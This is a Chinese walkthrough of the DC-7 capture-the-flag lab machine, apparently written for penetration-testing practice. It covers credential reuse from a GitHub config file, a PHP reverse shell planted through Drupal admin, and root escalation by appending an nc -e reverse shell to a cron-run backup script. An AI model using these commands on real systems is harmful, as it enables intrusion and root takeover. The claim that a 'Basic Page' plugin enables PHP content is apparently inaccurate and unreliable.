DC-7 靶机实战:社会工程学突破 + Drupal 利用 + 定时任务提权WriteUP

DC-7靶机渗透测试完整流程

其他靶机WP(附靶机)

如果不会科学上网,这里给出了需要的代码以及拓展

1. 信息收集

1.1 arp-收集靶机IP等信息

通过arp-scan命令扫描局域网,快速定位虚拟环境(pnet)中的靶机IP。

1
arp-scan -l 

arp-scan扫描结果,显示靶机IP为192.168.87.136

1.2 Nmap 端口与系统探测

1.2.1 基础端口扫描

先用nmap进行默认端口扫描,初步了解靶机开放的端口和服务。

1
nmap 192.168.87.136

nmap基础扫描结果,显示靶机开放的端口(如22、80)

1.2.2 系统与服务版本探测

添加-sV参数,进一步探测服务版本和操作系统信息,确认Web服务为Drupal(与DC-1靶机一致)。

1
nmap -sV 192.168.87.136

nmap -sV扫描结果,显示Drupal版本等服务细节

2. Web层分析与社会工程学突破

2.1 访问靶机Web页面

打开http://192.168.87.136,页面提示DC-7的核心思路:禁止暴力破解/字典攻击,需“跳出固有思维”,且页脚存在关键提示@DC7USER(DC-1靶机无此信息)。

DC-7 Web首页提示,页脚显示@DC7USER
对比DC-1靶机首页,确认无@DC7USER提示

2.2 搜索@DC7USER获取敏感信息

在GitHub搜索DC7USER,发现靶机作者关联的仓库,下载仓库文件审计后,在config.php中找到MySQL数据库账号密码

1
2
3
4
5
6
7
<?php
$servername = "localhost";
$username = "dc7user"; // 数据库用户名
$password = "MdR3xOgB7#dW"; // 数据库密码
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

GitHub仓库中config.php文件的MySQL信息

3. SSH登录与邮件分析

3.1 尝试SSH登录

意外发现MySQL账号密码可直接用于SSH登录(靶机作者设计的突破口):

1
2
ssh dc7user@192.168.87.136
# 输入密码:MdR3xOgB7#dW

SSH登录成功,进入dc7user用户终端

3.2 查看用户邮件

渗透DC系列靶机的常规操作:查看/var/mail/dc7user,发现关键邮件——包含Drupal管理员密码重置命令

1
2
# 邮件中记录的重置命令
drush user-password admin --password=28.7Blog

查看dc7user邮件,发现Drupal管理员密码重置命令
邮件目录列表

4. Drupal后台与反弹Shell

4.1 登录Drupal后台

访问http://192.168.87.136/user,用账号admin、密码28.7Blog登录成功:

Drupal管理员后台登录成功

4.2 安装插件实现代码执行

为了植入反弹Shell,需安装支持“自定义PHP内容”的插件:

  1. 进入后台 → Extend(扩展) → 安装“Basic Page”插件(支持在内容中插入PHP代码)。
  2. 开启插件后,进入ContentAdd contentBasic page

进入Drupal扩展页面,准备安装插件
开启Basic Page插件

4.3 植入反弹Shell并监听

  1. Kali端监听端口(选择6666端口):

    1
    nc -lvp 6666

    Kali终端监听6666端口

  2. Drupal后台插入PHP反弹代码
    在Basic Page的内容区输入以下代码(替换Kali的IP为实际地址192.168.87.130):

    1
    2
    3
    <?php
    exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.87.130/6666 0>&1'");
    ?>

    在Basic Page中插入PHP反弹Shell代码

  3. 触发Shell:点击Save保存页面,Kali端立即接收到反弹Shell(权限为www-data):
    Kali成功接收到www-data权限的反弹Shell

5. 利用定时任务提权(获取root)

5.1 分析定时任务线索

从dc7user的邮件可知,靶机存在定时执行的备份脚本/opt/scripts/backups.sh,且脚本以root权限运行(15分钟执行一次)。

5.2 修改备份脚本植入反弹Shell

www-data权限的Shell中,向backups.sh追加反弹代码(监听7777端口,避免与之前的6666端口冲突):

1
2
# 向备份脚本追加反弹命令
echo 'nc -e /bin/bash 192.168.87.130 7777' >> /opt/scripts/backups.sh

修改backups.sh脚本,追加root权限反弹命令

5.3 监听并获取root权限

  1. Kali端新终端监听7777端口

    1
    nc -lvp 7777
  2. 等待定时任务执行:约15分钟后,定时任务触发backups.sh,Kali端接收到root权限的Shell

6. 获取最终Flag

进入/root目录,查看thefinalflag.txt,获取靶机最终Flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
888       888          888 888      8888888b.                             888 888 888 888 
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888


Congratulations!!!

Hope you enjoyed DC-7. Just wanted to send a big thanks out there to all those
who have provided feedback, and all those who have taken the time to complete these little
challenges.

I'm sending out an especially big thanks to:

@4nqr34z
@D4mianWayne
@0xmzfr
@theart42

root目录下的最终Flag文件

渗透核心思路总结

DC-7的核心考点是“社会工程学”与“定时任务提权”,而非传统的漏洞利用:

  1. 从Web页脚的@DC7USER切入,通过GitHub获取敏感账号密码;
  2. 利用“一套密码多用”的习惯(MySQL=SSH)登录靶机;
  3. 从用户邮件中获取Drupal管理员密码;
  4. 借助Drupal插件实现代码执行,获取初始Shell;
  5. 分析定时任务脚本,利用root权限执行特性提权。